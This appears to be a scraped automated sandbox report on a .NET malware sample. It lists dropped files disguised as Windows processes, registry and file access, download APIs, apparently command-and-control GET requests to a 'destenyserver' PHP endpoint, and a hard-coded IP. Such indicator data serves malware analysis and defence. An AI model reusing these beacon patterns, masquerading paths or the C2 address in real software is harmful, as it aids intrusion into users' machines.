string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003772-00000C28-1092780769] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003772-00000C28-1093199922] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003772-00000C28-1094170740] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003772-00000C28-1094261961] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003772-00000C28-1094984838] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003772-00000C28-1095269331] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003772-00000C28-1095362659] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003772-00000C28-1095600085] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003772-00000C28-1095765889] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00003772-00000C28-1095819781] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00003772-00000C28-1095895010] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003772-00000C28-1096046145] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003772-00000C28-1096104467] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00003772-00000C28-1096162678] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003772-00000C28-1096266239] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll" [Source: 00000000-00003772-00000C28-1096365402] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00003772-00000C28-1096647957] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003772-00000C28-1097264935] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003772-00000C28-1097614984] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll" [Source: 00000000-00003772-00000C28-1098040644] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll" [Source: 00000000-00003772-00000C28-1098405943] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003772-00000C28-1098563586] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003772-00000C28-1098787073] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003772-00000C28-1100851174]3a:T638,"smss.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%ALLUSERSPROFILE%\Package Cache\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\smss.exe]- [targetUID: 00000000-00003772] "69ddcba757bf72f7d36c464c71f42baab150b2b9" has type "ASCII text with very long lines (825) with no line terminators"- Location: [%ALLUSERSPROFILE%\Package Cache\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\69ddcba757bf72f7d36c464c71f42baab150b2b9]- [targetUID: 00000000-00003772] "7a0fd90576e08807bde2cc57bcf9854bbce05fe3" has type "ASCII text with very long lines (791) with no line terminators"- Location: [%WINDIR%\py\7a0fd90576e08807bde2cc57bcf9854bbce05fe3]- [targetUID: 00000000-00003772] "2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa" has type "ASCII text with no line terminators"- Location: [%WINDIR%\System32\ntdll\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa]- [targetUID: 00000000-00004000] "explorer.exe.bin" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "explorer.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%WINDIR%\py\explorer.exe]- [targetUID: 00000000-00003772] "smss.exe.bin" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "mobsync.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%WINDIR%\System32\ntdll\mobsync.exe]- [targetUID: 00000000-00004000] "mobsync.exe.bin" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A]3b:Ta39,"8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEM\DNSCLIENT"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "")3c:Ta3d,"8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32"; Key: ""; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "8B744166EECACE320158F4D0F704B13E"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "8B744166EECACE320158F4D0F704B13E.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "")3d:T680,"8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.drawing\f7568d7f1b9d356f64779b4c0927cfb3\system.drawing.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\microsoft.v9921e851#\a891970b44db9e340c3ef3efa95b793c\microsoft.visualbasic.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.configuration\96f7edb07b12303f0ec2595c7f3778c7\system.configuration.ni.dll.aux" "8B744166EECACE320158F4D0F704B13E.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux"3e:T607,"8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\FLTLIB.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll"3f:T872,"8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\System32\ntdll\mobsync.exe" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\System32\ntdll\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\py\explorer.exe" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Windows\py\7a0fd90576e08807bde2cc57bcf9854bbce05fe3" "8B744166EECACE320158F4D0F704B13E.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "8B744166EECACE320158F4D0F704B13E.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "mobsync.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "mobsync.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "mobsync.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "mobsync.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "mobsync.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "mobsync.exe" touched file "C:\Windows\System32\ntdll\mobsync.exe.config" "smss.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "smss.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "smss.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "smss.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "smss.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll"40:T6b1,"8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\FLTLIB.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-quirks-l1-1-0.dll"41:T6ca,"8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\8B744166EECACE320158F4D0F704B13E.exe.config" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\OADJf9TI\" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\8B744166EECACE320158F4D0F704B13E.INI" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\8B744166EECACE320158F4D0F704B13E.exe.Local\" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\System32\ntdll\mobsync.exe:Zone.Identifier" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\8B744166EECACE320158F4D0F704B13E.EXE.CONFIG" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\OADJF9TI" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\6530DE8EC08D83A026B8F6EDAE87B434DA0CCD52" "8B744166EECACE320158F4D0F704B13E.exe" trying to access non-existent file "C:\Windows\System32\NTDLL"42:T58a,Found http requests in header "GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f" Found http requests in header "GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU" Found http requests in header "GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE" Found http requests in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA"43:T4ce,Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadFile" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.HttpWebResponse" and MemberReference "get_Current" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.HttpWebResponse" and MemberReference "MoveNext" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadData" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.WebClient" and MemberReference "get_Headers" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_CookieContainer" in "8B744166EECACE320158F4D0F704B13E.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "8B744166EECACE320158F4D0F704B13E.exe"44:T858,"1.0.0.0" "78.24.221.196" "2.5.29.35" Potential IP "4.0.0.0" found in string "4.0.0.0, Cul" Potential IP "4.0.0.0" found in string "=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" allowDefinition="MachineToApplication" />", Potential IP "4.0.0.0" found in string "sion=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" allowDefinition="MachineToApplication" />" "192.168.0.2" Potential IP "4.0.0.0" found in string "ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArc\" "2.5.29.15" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.29.19" "2.5.29.14" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.17" "2.5.29.32" "2.5.29.31" "2.5.29.1" "2.5.4.3" "2.5.29.4" "2.5.29.10" "2.5.29.16" Potential IP "4.0.0.0" found in string "ystem.Xml,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "ion=4.0.0.0, Culture=neu" Potential IP "4.0.0.0" found in string "n=4.0.0.0, C" Potential IP "4.0.0.0" found in string "ternals,4.0.0.0,,31b" Potential IP "4.0.0.0" found in string "s,4.0.0.0,,b77a5c561934e089,MSIL" Potential IP "0.0.0.0" found in string "0.0.0.0, Cul" "2.5.29.37" Potential IP "4.0.0.0" found in string "ystem.Windows.Forms,4.0.0.0,,b77a5c561934e089" Potential IP "4.0.0.0" found in string "n=4.0.0.0," Potential IP "4.0.0.0" found in string "on=4.0.0.0, Culture" Potential IP "4.0.0.0" found in string "4.0.0.0, Culture=neutr" Potential IP "4.0.0.0" found in string "=4.0.0.0, Cult" Potential IP "4.0.0.0" found in string "rsion=4.0.0.0, Culture" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>", Potential IP "4.0.0.0" found in string "4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089"/>" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, Publi~" Potential IP "4.0.0.0" found in string "sion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>", "0.0.0.0", Potential IP "4.0.0.0" found in string "n=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a" />" Potential IP "4.0.0.0" found in string "d=4.0.0.0"45:T3b84,Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "

9iqmgvw,czc0?1$0" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0)wp+(izttpsalt" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/salt" - Source: "00000000-00001400.00000001.139922.05A80000.00000004.mdmp") Found URL 